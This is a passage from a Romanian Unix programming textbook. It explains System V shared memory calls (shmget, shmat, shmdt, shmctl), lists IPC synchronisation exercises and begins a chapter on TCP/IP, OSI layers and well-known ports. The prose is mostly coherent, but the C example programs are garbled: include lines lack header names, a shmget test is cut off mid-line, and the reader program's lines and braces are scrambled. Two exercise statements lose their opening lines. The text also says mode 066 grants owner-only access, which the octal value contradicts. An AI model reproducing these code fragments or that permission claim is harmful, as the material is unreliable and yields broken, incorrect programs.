un identificator al segmentului nou creat, care este local procesului. Dacă apelul eşuează în crearea 

segmentului de memorie partajată, este întoarsa valoarea -1, iar eroarea va fi documentată în 

variabila globală errno. Valorile de eroare din errno sunt dependente de implementare. Trebuie 

consultat manualele on-line pentru funcţia shmget(S). 

98


Dacă mărimea specificată la apel pentru segment este prea mare sau prea mică, errno va fi 

setat pe valoarea EINVAL. Ce înseamnă prea mic sau prea mare pentru implementarea dată, trebuie 

de asemenea aflat. 

Pentru specificarea permisiilor, se pot folosi valori asemănătoare cu cele pentru cozi de 

mesaje. Trebuie deci specificate drepturile de acces la segment şi câţiva comutatori de creare. De 

exemplu poate primi valoarea 066 | IPC_CREAT | IPC_EXCL, deci drepturi de citire/scriere doar 

pentru proprietar, segmentul de memorie partajată va fi deschis numai dacă nu există deja, caz în 

care va fi mai întâi creat. Dacă segmentul există deja se va întoarce valoarea de eroare -1. 

Prin acest apel, a fost creat în memorie segmentul dorit. Accesul la el se va face în 

continuare prin intermediul identificatorului său, shmid. Acesta este local procesului curent, deci nu 

va avea aceeaşi valoare şi pentru alte procese care deschid aceeaşi zonă de memorie partajată. La 

terminarea acestui apel segmentul nu este înca gata de a fi folosit pentru procesul curent. Aceasta 

din cauza că segmentul nu se găseşte încă în spaţiul de adresare al procesului. Pentru a ataşa 

segmentul de memorie la proces există apelul shmat() (attach shared memory). 


4.6.2. Apelul de sistem shmat() 

Un proces ce doreşte utilizarea unui segment de memorie comună va trebui să asocieze cu 

aceasta o adresă virtuală din spaţiul său de adresare. Accesarea ulterioară a zonei respective de 

memorie comună se va face prin intermediul acestei adrese într-o manieră similară accesării unei 

zone de memorie alocată dinamic, prin apelul funcţiei malloc(). Un anumit proces îşi asociază la 

spaţiul său de adrese zona de memorie comuna creata de sistem folosind apelul shmat(). Sintaxa ei 

este: 

char * shmat(int shmid, char * adr, int shmflag) 

- realizează conectarea unui segment de memorie identificat în sistem prin shmid, de spaţiul de 

adresare a procesului. Returnează adresa la care se face asocierea propriu-zisă. Această adresă nu 

trebuie: 

- să intre în conflict cu adresele deja utilizate; 

- să împiedice extinderea zonei de memorie de date şi cea de stivă; 

- să contrazică forma adreselor deduse din dimensiunea unei pagini de memorie (un 

segment, de orice dimensiune, trebuie să ocupe un număr multiplu întreg de pagini de memorie). 

De obicei ultimele două argumente ale acestui apel sunt zero. Valoarea adr=NULL, este echivalent 

cu lăsarea în seama sistemului a alegerii unei adrese. O valoare adr nenulă, transmisă ca şi 

argument va însemna: 

- asocierea la adresa adr-adr%SHMLBA, dacă flagul SHM_RND este poziţionat , sau 

- asocierea la adresa indicată sau cea a paginii următoare, în cazul contrar. 

Prima variantă impune ca segmentul să fie ataşat la o adresă care să fie început de pagină de 

memorie. Dacă se impune o adresă de ataşare oarecare, aceasta va fi rotunjita la următorul început 

de pagină. Daca SHM_RND nu este poziţionat, va fi întors următorul început de pagină disponibil. 

Alt comutator disponibil este SHM_RDONLY, care specifică faptul că segmentul trebuie protejat la 

scriere. Din păcate numai anumite configuraţii hardware pot asigura o astfel de protecţie. Dacă 

parametrul shmflag are valoarea 0, atunci accesul este şi în citire şi în scriere iar adresa nu va fi 

rotunjită în nici un fel. 

Din acest moment accesul la segmentul de memorie este posibil prin această adresă virtuală. 

Se poate scrie şi citi din memorie variabile întregi prin instrucţiuni de genul: 

int i, *pint; 

99


pint=(int *)adresa; 

*pint++=i; 

... 

i=*pint; 

... 

sau, se poate adresa segmentul caracter cu caracter în felul următor: 

int i; 

for(i=0;adresa[i];i++) 

...; 


4.6.3. Apelul de sistem shmdt() 

Apelul shmdt() este folosit pentru dezasocierea (detaşarea) segmentului de memorie comună 

de proces, şi este necesar ca înainte să fi fost utilizat apelul shmat(). 

Acesta se apelează astfel: 

... 

retur=shmdt(adr); 

... 

După acest apel nu se mai poate adresa în nici un fel segmentul de memorie partajată, decât 

după o nouă ataşare. În clipa în care toate procesele care aveau nevoie de segmentul de memorie 

partajată s-au detaşat de la acesta, segmentul poate fi distrus complet printr-un apel shmctl(). 

Apelarea se face astfel: 

... 

retur=shmctl(shmid, IPC_RMID, 0); 

... 

Trebuie acordată foarte mare atenţie la distrugerea unui segment de memorie partajată. 

Dacă mai există procese care au ataşat acel segment pot apare erori foarte grave, care să ducă chiar 

la căderea sistemului ! 

Un exemplu de program simplu cu memorie comună: 

#include 

#include 

#include 

#include 

#include 

#define ARRAY_SIZE 4000 

#define MALLOC_SIZE 100000 

#define SHM_SIZE 100000 

#define SHM_MODE 0x1fff /* se poate scrie si citi in memoria comuna */ 

char array[ARRAY_SIZE]; /* date neinitializate - bss */ 

void main (void) { 

int shmid; 

char *ptr, *shmptr; 

printf("array[] de la %xh la %xh \n",&array[0],&array[ARRAY_SIZE]); 

printf("Stiva in jurul adresei %xh\n",&shmid); 

if ((ptr=(char *)malloc(MALLOC_SIZE))==NULL) 

{ perror(); exit(1); } 

100


printf("Memorie alocata de la %xh la %xh\n",ptr,ptr+MALLOC_SIZE); 

if ((shmid=shmget(IPC_PRIVATE,SHM_SIZE,SHM_MODE))


cleanup() 

{ 

shmctl(shmid, IPC_RMID, 0); 

exit(); 

} 

/* citeste.c */ 

#include "shmen.h" 

int shmid; 

main() 

{ 

int i,*pint=0; 

char *adresa; 

} 

} 


/*deschiderea zonei de memorie partajata*/ 

shmid=shmget(SHMKEY, 2048, 0660); 

for(i=0;i < 20;i++) { 

/*legarea la spatiul de adresare*/ 

adresa=shmat(shmid, 0, 0); 

while(*pint==0); 

/*nu citeste pina nu este gata driverul*/ 

/*citirea mesajului*/ 

printf("%s\n",adresa); 

/*dezlegarea din spatiul de adresare*/ 

shmdt(adresa); 

sleep(1); 

Programul 15. Sursele Exemplu2 shm 

Exerciţii 

1. Să se scrie un program ce conţine două procese conectate prin pipe, unul dintre procese deschide 

un fişier, îl transmite prin pipe celui de-al doilea care îl afişează pe ecran. La terminarea transferului 

cele două procese se termină. 

2. Să se scrie un program sub sistemul de operare Unix care creează trei procese. Cele trei procese 

se conectează prin pipe două câte două într-un lanţ de procese. Unul dintre procese deschide un 

fişier text şi trimite conţinutul lui celui de-al doilea, acesta filtrează datele sosite prin pipe, trimiţând 

câtre al treilea numai caracterele litere mici. Al treilea proces afişează la consolă ceea ce primeşte 

prin pipe. 

3. Să se realizeze acelaşi lucru şi într-o rutină shell folosind comanda cat, şi codul celui de al doilea 

proces, descris mai sus, ca program separat. 

4. Să se realizeze următoarea conexiune între procese folosind pipe-uri. 

proc1 ---- proc2 --- proc3 unde --- sau ___ înseamnă conexiune prin pipe. 

|_______proc4 

Procesul proc1 deschide un fisier text şi îl trimite prin pipe lui proc2. Acesta din urmă, împarte 

102


datele în două fluxuri câtre cele două procese, pe o cale sunt trimise literele mici, iar pe alta literele 

mari din textul 

primit. Procesele proc3 şi proc4 afişează la consola datele primite din pipe. 

5. Să se construiască un program ce conţine mai multe procese conectate prin pipe după următorul 

scenariu: 

- un proces citeşte date dintr-un fişier sau de la consolă şi le trimite către un proces, pe care să-l 

denumim procesul central. 

- procesul central la primirea datelor, buclează pe trei descriptori de pipe scriind aceleaşi date la 

toţi descriptorii. 

- la fiecare din aceşti trei descriptori este conectat un proces. 

- procesele de la celălalt capăt al descriptorilor aşteaptă datele şi le scriu într-un fişier, al cărui 

nume se obţine concatenând numărul procesului cu şirul "file". 

6. Să se scrie un program care creează trei procese, astfel: 

- primul proces (părinte) citeşte dintr-un fişier cu numele date.txt un şir de caractere, până la 

sfârşitul fişierului şi le trimite printr-un pipe primului fiu; 

- primul fiu primeşte caracterele de la părinte şi selectează din ele literele mici, pe care le 

trimite printr-un pipe câtre cel de-al doilea fiu; 

- al doilea fiu creează un fişier numit statistici.txt, în care va memora, pe câte o linie, fiecare 

literă distinctă întâlnită şi numărul de apariţii a acesteia în fluxul de date primit. În final, va trimite 

către părinte, printr-un pipe suplimentar, numărul de litere distincte întâlnite. Părintele afişează pe 

ecran rezultatul primit de la al doilea fiu. 

7. Să se realizeze un program de tip producători-consumatori astfel: 

- programul primeşte ca parametri în linia de comandă două numere: numărul de procese 

producător şi numărul de procese consumator; 

- resursa comună tuturor proceselor este un pipe creat de procesul părinte; 

- părintele este la rândul lui producător; 

În general, producătorii scriu în pipe un număr oarecare de caractere, iar consumatorii citesc din 

pipe, caracter cu caracter, cât timp acest lucru este posibil. 

Producătorii vor avea următoarea formă: 

a) Părintele produce un număr de caractere '*'; 

b) Ceilalţi producători sunt procese independente (existente pe disc ca programe de sine stătătoare) 

care generează la ieşirea standard un număr oarecare de caractere '#'. Pentru realizarea scopului 

propus, ieşirea standard a acestor procese va fi conectata la capătul de scriere al pipe-ului. 

c) Cel puţin unul dintre producători este comanda 'ls'. 

Consumatorii citesc caracterele din pipe şi işi afişează identificatorul de proces urmat de caracterul 

citit (la un moment dat). 

În sistem mai există un pipe prin care consumatorii vor raporta în final rezultatele câtre părintele 

tuturor, scriind în el, cu ajutorul funcţiei fprintf(), linii de forma: 

număr_proces : număr_octeţi 

unde număr_octeţi este numărul total de octeţi citiţi de procesul respectiv din pipe. Părintele va 

prelua aceste informaţii şi le va afişa pe ecran. 

8. Realizaţi un program care creează două procese şi transfera date prin mesaje între ele şi apoi le 

distruge. 


103


9. Să se rezolve problema cu enunţul de mai jos folosind oricare din modalităţile de IPC cunoscute: 

cozi de mesaje, memorie comună sau semafoare (problema denumită Fum de Ţigarete). 

Se consideră un sistem care constă din 3 procese smoker (fumător) şi un proces agent. Fiecare 

smoker îşi pregăteşte o ţigaretă şi o fumează. Pentru a face o ţigaretă sunt necesare trei ingrediente: 

tutun, hârtie, şi chibrite. Unul din procese are numai hârtie, celălalt are numai tutun şi al treilea 

numai chibrite. Procesul agent are o rezervă infinită din toate cele trei ingrediente şi pune câte două 

din ingrediente pe o masă. Procesul smoker care are celălalt ingredient poate atunci să-si 

confecţioneze şi să fumeze o ţigaretă, semnalând agentului când a terminat, atunci agentul pune alte 

două ingrediente pe masă şi ciclul se repetă. 

10. Să se rezolve problema cu enunţul de mai jos folosind oricare din modalităţile de IPC 

cunoscute: cozi de mesaje, memorie comună sau semafoare (problema Cititori-Scriitori). 

Se consideră existenţa unei baze de date (simulată) şi două grupuri de procese, un grup de procese 

cititori care doresc numai să consulte baza de date, şi un grup de procese scriitori care doresc să 

modifice baza de date. Să se realizeze un program care să sincronizeze accesul proceselor la baza 

de date astfel încât să se asigure consistenţa acesteia. În acest scop trebuie sa fie verificate, în orice 

moment, următoarele reguli: 

- un singur tip de proces (cititor sau scriitor) poate accesa baza de date la un moment dat; 

- excluderea mutuală a accesului pentru procesele de tip cititor se realizează la nivel de grup de 

procese; 

- excluderea mutuală a accesului pentru procesele de tip scriitor se realizează la nivel de proces. 


cunoscute: cozi de mesaje, memorie comună sau semafoare (problema Barbierul Somnoros). 

Se consideră o frizerie deservită de un bărbier. Acesta dispune de cinci scaune în holul de aşteptare. 

Bărbierul nu poate deservi decât un client la un moment dat, iar în criza de clienţi bărbierul aţipeşte. 

Un client în funcţie de situaţia existentă în frizerie în momentul sosirii poate acţiona într-unul din 

modurile următoare: 

- dacă bărbierul doarme, îl trezeşte şi cere să fie bărbierit; 

- dacă bărbierul este ocupat, dar există scaune libere în holul de aşteptare ocupă un scaun aşteptând 

să-i vină rândul; 

- dacă holul de aşteptare este plin atunci clientul pleacă (nemulţumit!). 

Să se scrie un program care sincronizează procesele aşa cum se cere mai sus, şi care afişează o 

statistică a clienţilor deserviţi şi a celor nemulţumiţi. 


cunoscute: cozi de mesaje, memorie comună sau semafoare (problema Cina Filozofilor). 

Se consideră cinci filozofi care stau la o masă rotundă fiecare având în faţă o farfurie cu mâncare. 

Fiecare farfurie este încadrată de două furculiţe, care sunt comune cu filozofii vecini. Deci există 

cinci farfurii şi cinci furculiţe. Cei cinci filozofi execută trei operaţii, în mod repetat: 

- gândesc, şi atunci nu au nevoie de furculiţe; 

- mănâncă, şi au nevoie de două furculiţe; 

- flămânzesc, adică doresc să mănânce dar nu au furculiţele necesare. 

Să se scrie un program pentru sincronizarea proceselor astfel încât să nu existe posibilitatea ca un 

filozof să moară de inaniţie. 

13. Se imaginează următorul scenariu al problemei producător-consumator. Există trei procese, 


104


producătorul, consumatorul şi un proces arbitru care deţine tabloul în care sunt păstrate elementele 

produse înainte de a fi consumate. Procesele producător şi consumator interacţionează cu arbitrul 

prin transfer de mesaje (cozile sunt vehiculul prin care elementele produse sunt trimise la arbitru, şi 

respectiv, elementele ce urmează a fi consumate sunt primite de la arbitru). Arbitrul funcţionează 

după următorul scenariu, executând operaţiile în ordinea de mai jos: 

a) atâta timp cât există elemente trimise de producător le pune în tablou; 

b) preia un număr dat de elemente pe care le trimite la consumator; 

c) reia punctul a) (dacă tabloul se goleşte rămâne în aşteptare în punctul a) La execuţia unui număr 

dat de introduceri/extrageri arbitrul afişează la consola conţinutul tabloului. Sincronizarea 

proceselor producător şi consumator are loc la nivelul proceselor producător/consumator şi se face 

cu semafoare. 

i) care sunt resursele corespunzătoare proceselor consumator/producător ? 

ii) oferă scenariul şanse egale ambelor procese în accesul la tablou? Argumentaţi răspunsul. 

iii) dacă răspunsul la punctul ii) este NU, atunci imaginaţi un scenariu ce oferă şanse egale 

pentru procesele producător/consumator. 

iv) introduceţi apeluri de sistem sleep(), pentru a încetini execuţia fie a producătorului fie a 

consumatorului. 

14. Rezolvaţi problema consumator-producător introducând tabloul într-un segment de memorie 

comună. 


105


Capitolul 5. Programarea aplicaţiilor de comunicare în reţelele - TCP/IP 

Evoluţia sistemelor de operare a fost puternic influenţată de avansul tehnologic în domeniul 

comunicaţiilor. La ora actuală cu legarea la reţeaua mondială INTERNET este un lucru firesc. 

Impactul social pe care îl are interconectarea la nivel global este un amănunt deloc de neglijat. Nici 

o aplicaţie modernă nu îşi poate permite să ignore potenţialul tehnic pe care îl oferă INTERNET-ul. 

Comunicarea, interconectarea, distribuirea sunt cuvinte de ordine în dezvoltarea de aplicaţii la ora 

actuală. 

5.1. Internetul 

Oamenii au înţeles că existenţa unei reţele mondiale ar înlesni foarte mult atât comunicarea, 

cât şi schimbul de informaţii între ei. Astfel, de-a lungul timpului, mai multe reţele au fost 

interconectate, pentru a face posibil comunicarea între oricare N calculatoare în mod simultan, în 

acest mod luând naştere Internet-ul. Internet-ul se defineşte aşadar ca o largă colecţie de reţele sau 

ca o reţea de reţele. Interconectarea dintre diferitele reţele (LAN-uri, MAN-uri, WAN-uri) ce 

compun Internet-ul sunt realizate, de obicei, prin legături punct la punct mai rapide (nu este 

obligatoriu, dar trebuie să existe anumite puncte cheie în reţea, de mare putere în transmitere a 

datelor, pentru a nu încetini accesul pe distanţe mari). Aceste legături rapide pot fi prin satelit, 

circuite de comunicaţie digitale dedicate (ex.: T1, E1, T3, E3, acces ISDN, B-ISDN), etc. 

Internet-ul este deci o reţea eterogenă ce face posibilă conectarea calculatoarelor indiferent 

de sistemul de operare şi arhitectura hardware. 

Toate calculatoarele dintr-o reţea trebuie să comunice între ele pe baza unui set de reguli 

fixe, denumit protocol (aşa cum doi oameni trebuie să vorbească şi să înţeleagă amândoi aceeaşi 

limbă pentru a putea comunica). Pornind de la sensul recunoscut în societatea umană, protocoalele 

reprezintă reguli formale de comportare. În cazul calculatoarelor protocoalele reprezintă reguli ce 

definesc cum anume trebuie să lucreze aplicaţiile pentru a se face înţelese între ele. De-a lungul 

timpului s-a dezvoltat o foarte variată serie de protocoale. O dată cu interconectarea a două sau mai 

multe reţele, o nouă problemă a apărut, şi anume "înţelegerea" celor două reţele între ele, adică 

folosirea aceluiaşi protocol sau folosirea unui aşa-zis program translator, capabil să facă posibilă 

transformarea informaţiei dintr-un mod de organizare în altul. În timp s-a constatat mult mai 

eficientă prima metodă şi de aici a apărut nevoia standardizării protocolului folosit pe plan mondial. 

Comunicarea între două calculatoare se face prin ierarhii de protocoale pe mai multe nivele. 

Conform standardelor ISO (International Standards Organization), orice protocol de comunicaţie 

dintre sisteme eterogene interconectabile (denumite şi sisteme OSI - Open System Interconnection) 

ar trebui (în cazul ideal) să îndeplinească funcţii de comunicare ce pot fi grupate în şapte nivele. 

Această structură defineşte modelul arhitectural de referinţă RM-OSI, şi presupune nivelele: 


• Nivelul Fizic (Physical Layer) - fire, conectori şi semnale electrice; 

• Nivelul Legătura de Date (Data Link Layer) - împachetarea datelor pentru transmiterea 

acestora; 

• Nivelul Reţea (Network Layer) - conectări între două sisteme separate; 

• Nivelul Transport (Transport Layer) - pentru transmiterea datelor de la sursă la destinaţie; 

106



• Nivelul Sesiune (Session Layer) - stabileşte şi termină o sesiune de comunicaţii; 

• Nivelul Prezentare (Presentation Layer) - converteşte formatul datelor; 

• Nivelul Aplicaţie (Application Layer) - asigură mesajele şi comunicarea între programe 

(între aplicaţii). 

Acest model nu a fost niciodată implementat, dar ideea nivelelor de abstractizare pentru 

protocoale rămâne valabilă. 

În momentul în care s-a definit modelul OSI a fost devansat de un alt model de referinţă, 

mult mai simplu, definit pe 4 niveluri: TCP/IP simbolizând Transmission Control Protocol/Internet 

Protocol. Există câteva deosebiri esenţiale între TCP/IP şi modelul OSI. OSI are şapte straturi. 

TCP/IP a lăsat nedefinite cele două straturi inferioare, spre a asigura o mai mare elasticitate, şi a 

definit numai trei straturi superioare, nu cinci, ca OSI. Evident, mai sunt şi alte diferenţe, dar asta e 

cea mai vizibilă, ce apare în arhitectura sistemului. Motivul: întâiul protocol care a fost creat şi 

testat pe scară largă era TCP/IP şi abia apoi a apărut încercarea de standardizare (eşuată) de către 

ISO, care a produs modelul OSI. 

Avantajul acestui model era simplitatea sa, şi faptul că la momentul apariţiei standardului 

ISO OSI era deja funcţional pe reţeaua ARPANET. 

Pe baza protocolului IP s-au construit mai multe protocoale: de exemplu TCP este folosit 

pentru comunicaţia prin flux sigur de date (Transport Control Protocol), UDP este folosit pentru 

transmisia (nesigură) de datagrame (User Datagram Protocol), RDP pentru transmisia sigură de 

datagrame (Reliable Datagram Protocol), ICMP (Internet Control Message Protocol), IGMP 

(Internet Group Management Protocol) etc. Pe sistemele de tip UNIX o listă a protocoalelor 

cunoscute (nu neapărat suportate!) se găseşte în mod tradiţional în fişierul /etc/protocols. Lista 

oficială se găseşte în documentul RFC 1700. 

Modelul de referinţă TCP/IP se aplică tuturor acestor protocoale, el defineşte un model ierarhizare, 

lăsând libertatea de decizie asupra protocoalelor de transport. Comunicarea în INTERNET se 

bazează exclusiv pe protocolul IP. 

5.1.1. Protocoalele de comunicaţii Internet: familia TCP/IP 

Pentru ca ansamblul calculatoarelor conectate într-o reţea să poată comunica, este necesar 

un set întreg de protocoale de comunicaţie care să asigure transferul integral şi corect al datelor de 

la un calculator sursă la un calculator destinaţie. Familia protocoalelor TCP/IP reprezintă un set de 

astfel de protocoale, organizate pe o structură ierarhică. 

TCP şi IP sunt numai două dintre protocoalele familiei TCP/IP, care are peste 100 de astfel 

de protocoale. Dar sunt cele considerate principale. Din acest punct de vedere cel mai corect e să-i 

spunem "familia sau setul de protocoale Internet". Fiecare dintre aceste protocoale (ale familiei 

TCP/IP) asigură transferul datelor prin reţea într-un format diferit şi cu opţiuni diferite (cum este, de 

exemplu, verificarea erorilor). În funcţie de necesităţile aplicaţiei, putem utiliza unul sau altul din 

protocoalele suitei TCP/IP pentru transmiterea informaţiilor pe Internet. 

TCP/IP este o mulţime de protocoale ierarhizată. Unele protocoale ale familiei oferă servicii 

"low-level" aplicaţiilor ce rulează pe calculator. Dintre acestea fac parte IP, TCP, UDP (User 

Datagram Protocol) etc… Altele sunt protocoale destinate unui anumit scop, de exemplu: 

- transfer de fişiere între calculatoare (FTP – File Transfer Protocol); 

- transmiterea şi recepţionarea mesajelor de poştă electronică (SMTP – Simple Mail 

Transfer Protocol); 

- obţinerea unor informaţii despre alte calculatoare etc. 

Funcţiile celor două cele mai importante protocoale din această ierarhie sunt: 

- TCP (Transmission Control Protocol) este protocolul conform căruia un mesaj este fragmentat în 

107


mai multe datagrame (mesaje de dimensiune strict limitată), transferat prin mediul de comunicaţie 

şi asamblat la loc odată pe măsură ce datagramele ajung la destinaţie. Mesajul este transmis de către 

un proces care are "acces" la un port de comunicaţie. 

- IP (Internet Protocol) este răspunzător cu găsirea rutei (o cale) pe care urmează s-o parcurgă 

fiecare datagramă de la sursă la destinaţie pe baza unor adrese formate din patru numere (patru 

octeţi), numite adrese IP. Această funcţie este cunoscută sub denumirea de dirijare IP. Transmiterea 

datagramei se face de la o reţea locală la alta prin intermediul unor calculatoare sau echipamente 

specializate, numite "gateway" (sau router). Datagrama va fi transmisă deci de la sursă la gatewayul 

cel mai apropiat care permite transferul mai departe câtre destinaţie (sau câtre un alt gateway). 

Dirijarea datagramelor este complet invizibilă utilizatorului. 

La nivelele inferioare (nespecificate în stiva de protocoale) arhitectura este compatibilă cu 

oricare dintre standardele de LAN-uri existente (de ex. IEEE 802.3,4,5 etc), cel mai răspândit fiind 

reteaua Ethernet (IEEE 802.3). Ethernet este protocolul utilizat pentru transferul informaţiei în 

interiorul unei reţele locale. Este un mediu de tip "broadcast" astfel încât fiecare mesaj transmis 

poate fi recepţionat de toate maşinile existente în reţeaua locală. Identificarea maşinii căreia îi este 

destinat mesajul se face pe baza unui alt tip de adresa, adresa Ethernet (adresa MAC). 

În general aplicaţiile TCP/IP utilizează 4 nivele: 

• un protocol de nivel aplicaţie (de exemplu SMTP); 

• un protocol ca TCP ce oferă servicii mai multor aplicaţii; 

• protocolul IP ce oferă serviciile de bază pentru transferul datagramelor la destinaţie; 

• protocoalele necesare gestionării unor medii fizice diferite (de exemplu Ethernet, Token- 

Ring, legătură punct la punct etc…) 

Cum funcţionează de fapt suita de protocoale TCP/IP ? 

La un moment dat, un program (o aplicaţie) va încerca să trimită date pe reţea. Până în 

momentul în care datele ajung să circule pe reţea, ele vor trebui ambalate (împachetate) într-o formă 

care să permită interpretarea corectă atât pe parcurs cât şi la destinaţie. În scopul împachetării, 

pachetul de date este cercetat de câtre o serie de examinatori, care impun respectarea regulilor 

(protocoalelor). Examinatorii (care sunt de fapt funcţiile diferitelor straturi) se asigură de faptul că 

pachetele de date sunt structurate într-un anumit mod, adică aşa cum este nevoie pentru transferarea 

lor la nivelul imediat inferior. La trecerea prin fiecare strat al stivei de protocoale, pachetului de 

date i se asociază o serie de informaţii suplimentare. 

Un exemplu: transmiterea unui mesaj electronic (e-mail) 

Există un protocol pentru e-mail (de exemplu SMTP). Acesta defineşte o mulţime de 

comenzi ce sunt transmise de la o maşină la alta (de exemplu comanda pentru specificarea 

expeditorului, a destinatarului, a conţinutului mesajelor etc.). Acest protocol presupune că există o 

cale de comunicare sigură între cele două maşini. El a fost astfel definit încât să colaboreze cu 

protocoalele TCP şi IP care au grijă de asigurarea comunicării dintre cele două staţii. TCP este 

responsabil de transmisia sigură la destinaţie a datelor (de fapt comenzi şi date). El "ţine minte" ce 

s-a mai transmis şi retransmite în cazul în care întârzie confirmarea de la destinaţie. În cazul în care 

mesajul transmis este mult prea lung pentru a forma un pachet (o datagramă) – entitate gestionată 

de protocolul IP, el va fi cel care se ocupă de fragmentarea mesajului în mai multe pachete şi tot el 

se ocupă de "reconstrucţia" mesajelor sosite fragmentate. Răspunde direct de corectitudinea acestor 

operaţii. Deoarece aceste funcţii, de fapt, sunt mai generale, funcţii de care ar putea avea nevoie şi 

alte aplicaţii ele au fost grupate într-un modul separat şi formează protocolul TCP. Din acest punct 

de vedere protocolul TCP apare ca o librărie de rutine ce pot fi apelate de câtre aplicaţii în cazul în 


108


care acestea au nevoie de o transmisie sigură în reţea. La rândul său TCP va apela la serviciile 

nivelului IP. Însa nu toate aplicaţiile au nevoie de serviciile furnizate de TCP. Există anumite 

aplicaţii care apelează direct la serviciile IP sau folosesc serviciile altor protocoale de interfaţare cu 

IP (de exemplu UDP). Furnizarea unei diversităţi în serviciile oferite justifică, deci, această 

organizare ierarhizată a serviciilor de reţea. În vederea îndeplinirii funcţiilor solicitate la fiecare 

nivel protocolul în cauza va suplimenta pachetele primite de la nivelul superior cu anumite 

informaţii de control (de care are nevoie protocolul pereche la destinaţie). Astfel TCP adaugă un 

antet (header) ce conţine informaţii de care are nevoie nivelul TCP de la destinaţie. La rândul său şi 

IP va adăuga pachetului primit de la TCP anumite informaţii necesare rutării pachetului în reţea 

spre destinaţie. În funcţie de subreţeaua de comunicaţie utilizată pentru transmitere (de exemplu se 

transmite pe o legătură punct la punct utilizând protocolul HDLC sau, se transmite de pe o staţie 

dintr-o reţea locală de tip Ethernet) aceste datagrame primite de la nivelul IP vor fi împachetate 

corespunzător protocolului de transmisie de nivel inferior. Servicile nivelului TCP sunt servicii 

orientate pe conexiune în timp ce cele oferite de nivelul IP sunt servicii neorientate pe conexiune 

(de tip datagramă). 

5.1.2. Servicii şi modelul client/server 

Comunicarea şi schimbul de informaţii în Internet se realizează prin intermediul a ceea ce 

poartă numele de servicii, ce permit exploatarea şi căutarea de informaţii aflate în această uriasă 

reţea. Câteva dintre ele sunt: telnet, ssh (Secure Shell), www (World Wide Web), ftp, archie, 

gopher, wais (Wide Area Information Service), news, e-mail, irc (Internet Relay Chat), ping, finger. 

Pentru oricare dintre aceste servicii există un calculator care solicită informaţii - un client al 

serviciului respectiv - de la un alt calculator care furnizează informaţiile cerute, numit server. 

Fiecare nod al reţelei Internet, fiecare calculator legat în reţea, poate fi atât client, cât şi server al 

oricărui serviciu mai sus menţionat. Termenul de "server" poate fi atribuit unui nod al reţelei (unui 

calculator), dacă acesta poate asigura serviciul respectiv prin propriile sale resurse, în timp ce 

"client" al unui serviciu poate fi considerat orice program ce permite conectarea la un alt calculator 

"server", permiţând astfel transferul de informaţii folosind serviciul respectiv. 

În concluzie, serverul este un sistem ce oferă anumite servicii specifice utilizatorului iar 

clientul este un alt sistem ce utilizează aceste servicii. Nu este obligatoriu ca serverul şi clientul să 

rezide pe diferite calculatoare. Ele pot fi programe diferite rulând pe acelaşi calculator. Acest mod 

de organizare a schimburilor de informaţii în reţea defineşte modelul client/server. 

Toate aplicaţiile, client sau server, de pe Internet utilizează una sau mai multe protocoale de 

nivel aplicaţie. 

Tipuri de aplicaţii server ce pot exista pe o staţie Server: 

• server de mesagerie electronică (componentă a sistemului e-mail); 

• server FTP; 

• server gopher; 

• server World Wide Web; 

• server de baze de date distribuite; 

• sistem de fişiere reţea; 

• server de tipărire la distanţă; 

• execuţie la distantă; 

• server de nume; 

• server de terminale; 

• sisteme grafice orientate pe reţea etc… 


109


Cum ne conectăm de un server ? 

Să presupunem că dorim să expediem un fişier unui calculator ce are adresa sa Internet 

128.55.3.23. Pentru a deschide un canal de comunicaţii avem nevoie de mai multe informaţii, 

deoarece, de fapt, trebuie să ne conectam de serverul FTP de pe calculatorul distant. Când ne vom 

conecta de staţia 128.55.3.23 va trebui să specificăm acest lucru. Pentru această problemă s-a găsit 

o soluţie elegantă prin asignarea unor numere de porturi fixe şi bine cunoscute fiecărui server. 

Fiecare program server va deschide un capăt de canal însă într-un mod pasiv, "de ascultare", 

aşteptând sosirea unor cereri din partea aplicaţiilor client. Ansamblul format din adresa Internet a 

unei staţii, un număr de port şi un identificator de protocol de serviciu defineşte un socket. Deci 

programele server vor folosi, în general, socket-uri bine cunoscute. La rândul său aplicaţia client, 

dornic să iniţieze o comunicaţie va crea un socket, deci va asigna un număr de port unui capăt de 

canal şi va transmite o cerere cu specificarea, în câmpul destinaţie, a unui socket bine cunoscut. De 

obicei aplicaţiile client n-au nevoie să folosească numere de porturi fixate (cunoscute), ele putând 

genera aceste numere în mod aleator (probabil nimeni nu se va interesa de ele). În cazul nostru, 

dorim să ne conectăm de serverul FTP, vom specifica numărul de port 21 în câmpul destinaţie din 

antetul TCP al pachetelor. Aceasta este numărul oficial asignat cu acest serviciu. Numerele de 

porturi rezervate unor servicii sunt publicate în documentul "Asigned Numbers" (RFC 1010). 

Câteva dintre numerele de port mai uzuala precum şi protocoalele ce le utilizează sunt: 


Decimal Keyword Protocol 

------- ------- -------- 

21 FTP File Transfer [Control] 

23 TELNET Telnet 

25 SMTP Simple Mail Transfer 

37 TIME Time 

39 RLP Resource Location Protocol 

42 NAMESERVER Host Name Server 

43 NICNAME Who Is 

49 LOGIN Login Host Protocol 

53 DOMAIN Domain Name Server 

69 TFTP Trivial File Transfer 

79 FINGER Finger 

109 POP-2 Post Office Protocol - Version 2 

115 SFTP Simple File Transfer Protocol 

119 NNTP Network News Transfer Protocol 

5.1.3. Reţele bazate pe IP şi UNIX 

UNIX este sistemul de operare care a ajutat probabil cel mai mult dezvoltarea reţelei 

INTERNET prin strategiile deschise care au fost adoptate în dezvoltarea sa. Într-adevăr sistemele 

UNIX (chiar şi cele comerciale) susţin în cea mai mare măsură ideea de libertate care stă la baza 

INTERNET-ului. Proiectele FSF-GNU, Linux, FreeBSD îşi justifică existentă şi prin necesitatea de 

absolvire a utilizatorului final de unele aspecte comerciale ale accesului la reţea. După aproape 30 de 

ani UNIX rămâne încă probabil cea mai eficientă unealtă de comunicare între calculatoare. 

Sistemele UNIX sunt foarte puternic integrate cu modelul de lucru TCP/IP. Tocmai această 

integrare puternică cu mijloacele de comunicare face din sistemul UNIX platforma cea mai interesantă 

pentru un sistem software. Foarte multe aplicaţii de bază sunt gândite pentru lucrul în reţea, fapt care 

oferă o serie de avantaje. Exemplu: aplicaţia Xwindows este gândita ca aplicaţie client-server - iar în 

momentul în care un utilizator se conectează nu contează dacă el se află sau nu la calculatorul care 

realizează afişarea (render). Un utilizator local va fi văzut de asemenea ca o conexiune de la adresa 

127.0.0.1 (adresa calculatorului local). De asemenea, sistemul XFree86 (XWindows) se bazează pentru 

110


desenarea caracterelor pe un server de font-uri - care bineînţeles poate fi folosit de oricare din 

utilizatorii unei reţele. 

